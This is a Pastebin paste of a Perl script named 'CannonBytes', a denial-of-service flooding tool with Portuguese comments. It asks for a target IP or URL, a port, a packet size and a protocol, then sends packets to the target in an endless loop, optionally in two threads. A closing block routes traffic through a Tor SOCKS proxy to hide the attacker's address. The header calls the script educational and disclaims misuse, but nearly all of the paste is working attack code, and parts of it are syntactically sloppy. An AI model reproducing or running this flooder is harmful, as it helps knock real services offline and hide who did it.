DexterBRSan

cannon

Jan 15th, 2015
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.82 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # ESTE SCRIPT TEM A FINALIDADE DE ENSINAR AS PESSOAS COMO QUE FUNCIONA UM ATAQUE DOS ( NEGAÇÃO DE SERVIÇO ).
  4. # NÃO ME RESPONSABILIZO PELO MAL USO DO SCRIPT!
  5. #
  6. #
  7. # USE, EDITE, COMPILE. MAS SEMPRE DISTRIBUA O CÓDIGO FONTE!
  8. # CONHECIMENTO DEVE SER LIVRE E DE TODOS!
  9. #
  10. # CODED BY: HackerOrientado
  11. # sigam no twitter -> @HackerOrientado
  12. #
  13.  
  14.  
  15. ################# MÓDULOS
  16. use warnings;
  17. use strict;
  18. use threads;
  19. use threads::shared;
  20. use IO::Socket::INET;
  21. use Getopt::Long;
  22. use strict;
  23. use HTTP::Proxy;
  24. use LWP::UserAgent;
  25. use LWP::Protocol::socks;
  26. use Net::IP;
  27.  
  28. ################# INTRODUÇÃO
  29. my $baner ="
  30. ____
  31. / \\
  32. / ___/
  33. | / _____ _ _ _ _ ____ _ _
  34. | |___ / _ | | \\ | | | \\ | | / \\ | \\ | |
  35. \\ \\ | ( ) | | |\\\ | | | |\\ | | | () | | |\\ | |
  36. \\____/ \\__/\\_| |_|\\\\|_| |_|\\\\|_| \\____/ |_|\\\\|_|
  37. _____
  38. | _ \\ __ __ _________ _____ ___
  39. | |_| | \\ \\ / / |___ ___| | ___| / __/
  40. | ___/_ \\ \\/ / | | | |__ / /__
  41. | __ \\ \\ / | | | __| \\__ \\
  42. | |__| | | | | | | |___ __/ |
  43. |________/ |_| |_| |_____| \\____/
  44. v0.9.1\n\n
  45. ";
  46.  
  47. ################# VARIAVEIS
  48. my ( $OS, $limpar, $ajuda, $ip, $porta, $pacote, $vezes, $protocolo, $intervalo, $socket, $site, $i, $threads );
  49. my ( $thr1, $thr2 );
  50. my $ciclo = 1;
  51. my $escuta = 1;
  52. $OS = $^O;
  53.  
  54. ################# VERIFICAÇÃO DO SISTEMA OPERACIONAL
  55. if ( $OS eq "MSWin32" ) {
  56. $limpar = ("cls");
  57. } else {
  58. $limpar = ("clear");
  59. }
  60. system "$limpar";
  61.  
  62. ################# OPÇÕES NO MODO LINHA DE COMANDO
  63. my $opt = GetOptions (
  64. 'h' => \$ajuda,
  65. 'threads' => \$threads,
  66. );
  67.  
  68. ################# COMANDO DE AJUDA
  69. if ($ajuda) {
  70. print "$baner";
  71. print "\n\n";
  72. print "[\!] COMANDO DE AJUDA \n\n\n";
  73. print " [\?] >perl CannonBytes\.pl [IP OU URL] Porta Pacote Vezes Protocolo Intervalo\n\n";
  74. print "\t[\?] >perl CannonBytes\.pl 192.168.1.2 80 64000 1000 tcp 60 -threads\n\n";
  75. sleep 1.5;
  76. exit (0);
  77. }
  78.  
  79. ################# CRIAÇÃO DAS THREADS E EXECUÇÃO DAS DUAS AO MESMO TEMPO!
  80. if ($threads) {
  81. $thr1 = threads->create('thr1', '1');
  82. $thr2 = threads->create('thr2', '2');
  83. $thr1,$thr2->join();
  84. } else {
  85. return thr1();
  86. }
  87.  
  88. ################# SUB ROTINA DA THREAD 1
  89. sub thr1 {
  90. my $ARGC = @ARGV;
  91.  
  92. if ( ($ip, $porta, $pacote, $vezes, $protocolo, $intervalo) = @ARGV ) {
  93. goto args;
  94. } else {
  95. print "$baner";
  96. print "Digite o IP ou URL\n";
  97. print "-> ";
  98. $ip = <STDIN>; chomp $ip;
  99.  
  100. print "\n\n";
  101. print "Agora digite a porta que deseja atacar\n";
  102. print "-> ";
  103. $porta = <STDIN>; chomp $porta;
  104.  
  105. dados:
  106. print "\n\n";
  107. print "Digite o tamanho do pacote que sera enviado\n";
  108. print "-> ";
  109. $pacote = <STDIN>; chomp $pacote;
  110. if ( $pacote > 64000 ) {
  111. sleep 1.5;
  112. print "Digite valores entre 32 e 64000!\n\n";
  113. goto dados;
  114. }
  115.  
  116. print "\n\n";
  117. print "Digite o numero de vezes que sera atacado o alvo\n";
  118. print "-> ";
  119. $vezes = <STDIN>; chomp $vezes;
  120.  
  121. print "\n\n";
  122. print "Digite qual o tipo de protocolo que vc deseja usar para o ataque\n";
  123. print "-> ";
  124. $protocolo = <STDIN>; chomp $protocolo;
  125.  
  126. print "\n\n";
  127. print "Digite o valor do intervalo de tempo entre os ataques\n";
  128. print "-> ";
  129. $intervalo = <STDIN>; chomp $intervalo;
  130.  
  131. args:
  132. system "$limpar";
  133. print "$baner\nAperte Ctrl+C para parar o ataque\n\n";
  134. sleep 2;
  135.  
  136. ataque:
  137. ################# CRIAÇÃO DOS SOCKETS
  138. $socket = IO::Socket::INET->new (
  139. PeerAddr => $ip,
  140. PeerPort => $porta,
  141. Proto => $protocolo ) or die "Nao foi possivel se conectar ao IP ou Porta.\nCheque se tudo esta correto!\n";
  142.  
  143. ################# ATAQUE E LOOP
  144. if ( $ip =~ /www./ ) {
  145. $site = "site";
  146. } else {
  147. $site = "ip";
  148. }
  149. for ( $i = 0; $i < $vezes; $i++ ) {
  150. size => $pacote;
  151. $ciclo => 1,
  152. $escuta => 1,
  153. print "Atacando o $site $ip na porta $porta com o tamanho do pacote $pacote\n";
  154. send ($socket, $pacote, $ciclo, $escuta);
  155. }
  156.  
  157. ################# INTERVALO DO LOOP
  158. print "\n\n";
  159. print "O programa vai esperar $intervalo segundo ate o proximo ataque.\n";
  160. sleep $intervalo;
  161. print "\n";
  162. goto ataque;
  163. }
  164. }
  165.  
  166. ################# SUB ROTINA DA THREAD 2
  167. sub thr2 {
  168. sleep 2;
  169. my $ARGC = @ARGV;
  170.  
  171. if ( ($ip, $porta, $pacote, $vezes, $protocolo, $intervalo) = @ARGV ) {
  172. goto ataque;
  173. }
  174.  
  175. ataque:
  176. ################# CRIAÇÃO DOS SOCKETS
  177. $socket = IO::Socket::INET->new (
  178. PeerAddr => $ip,
  179. PeerPort => $porta,
  180. Proto => $protocolo ) or die "Nao foi possivel se conectar ao IP ou Porta.\nCheque se tudo esta correto!\n";
  181.  
  182. ################# ATAQUE E LOOP
  183. if ( $ip =~ /www./ ) {
  184. $site = "site";
  185. } else {
  186. $site = "ip";
  187. }
  188. for ( $i = 0; $i < $vezes; $i++ ) {
  189. size => $pacote;
  190. $ciclo => 1,
  191. $escuta => 1,
  192. print "Atacando o $site $ip na porta $porta com o tamanho do pacote $pacote\n";
  193. send ($socket, $pacote, $ciclo, $escuta);
  194. }
  195.  
  196. ################# INTERVALO DO LOOP :D
  197. print "\n\n";
  198. print "O programa vai esperar $intervalo segundo ate o proximo ataque.\n";
  199. sleep $intervalo;
  200. print "\n";
  201. goto ataque;
  202. }
  203.  
  204. ################Proxy
  205.  
  206. my $proxy = HTTP::Proxy->new( port => 7788 );
  207. my $ua = LWP::UserAgent->new;
  208. $proxy->agent($ua);
  209. $ua->add_handler(
  210. 'response_done' => sub {
  211. my($request, $ua, $h) = @_;
  212. $ua->proxy([qw/ http https /] => 'socks://localhost:9050');
  213. }
  214. );
  215.  
  216. my $response = $ua->get('http://wtfismyip.com/text');
  217. print $response->decoded_content;
  218.  
  219. my $response = $ua->get('http://wtfismyip.com/text');
  220. print $response->decoded_content;
  221.  
  222. $proxy->start;
  223.  
  224. }
  225.  
  226. # EOF #
Advertisement
Add Comment
Please, Sign In to add comment